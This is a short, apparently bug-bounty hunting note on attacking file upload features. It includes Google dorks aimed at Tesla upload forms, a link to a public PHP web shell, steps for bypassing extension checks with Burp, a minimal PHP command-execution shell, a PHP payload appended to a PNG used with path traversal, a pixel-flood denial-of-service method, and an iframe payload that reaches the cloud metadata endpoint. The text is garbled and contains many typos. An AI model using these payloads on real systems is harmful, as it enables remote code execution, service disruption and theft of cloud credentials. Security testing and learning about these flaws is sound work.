My Hunting Approach on File Upload
Google Dork for find File Upload Foam
site:*.tesla.com | inurl:"uploadform" intext:"choose file"site:*.com inurl:"uploadform" site:*.com inurl:"uploadform" filetype:asp Check file Upload to RCE:
Payload File : GitHub — flozz/p0wny-shell: Single-file PHP shell
Upload a PHP Reverse Shell”
and Observe that witch PHP functions
popen()system(),shell_exec(),passthuru()were disabled and enabled this php ApplicationCraft Reverse Shell payload with that PHP function and save it into the file name shell.php if client-side validation to bypass it Shell.php.jpg
intercept the file upload request in burpsuite and removed the .jpg extension and forwarded the file upload request to the server.
Pyload with that popen() PHP function:
---------
<?php$cmd = $_GET['cmd'];echo `$cmd`;?>
/uploadform/uploads/shell.php?code=echo%20%60id%60File Upload and Path traversal to RCE
Upload using any attachment upload function png file, containing php code at its end. You can use the file png-transparent.png from the attachments. It is an empty PNG file with the following payload at its end:
<?php system("uname -a");?>resend it modifying Filename with the system relative path to the uploaded file:
Filename=../../../../application/files/9316/1312/5391/png-transparent.png
Reload the page, and see the payload fired
Check Upload to Pixie Flood Attack:
1- Download the image file from here.
2- Upload this image to the website you are testing on.
3- If the website’s server gets timed out, it means that the server is vulnerable
Resize an image with 64250*64250px by going to https://www.resizepixel.com
Observe the server's response after uploading the generated file.
Confirm that the application can be accessed using another device. If the server takes too long to respond or is inaccessible, the application may be vulnerable to pixel flood attacks.
File Upload to SSRF:
Server-Side Request Forgery by using a file upload functionality that allows HTML or SVG files, using a URL, or by using various components. The SSRF may be internal, cloud-based, or simply external based on the situation.
<body>
<iframe src="http://169.254.169.254/computeMetadata/v1/" width="500" height="500"></iframe>
</body>Last updated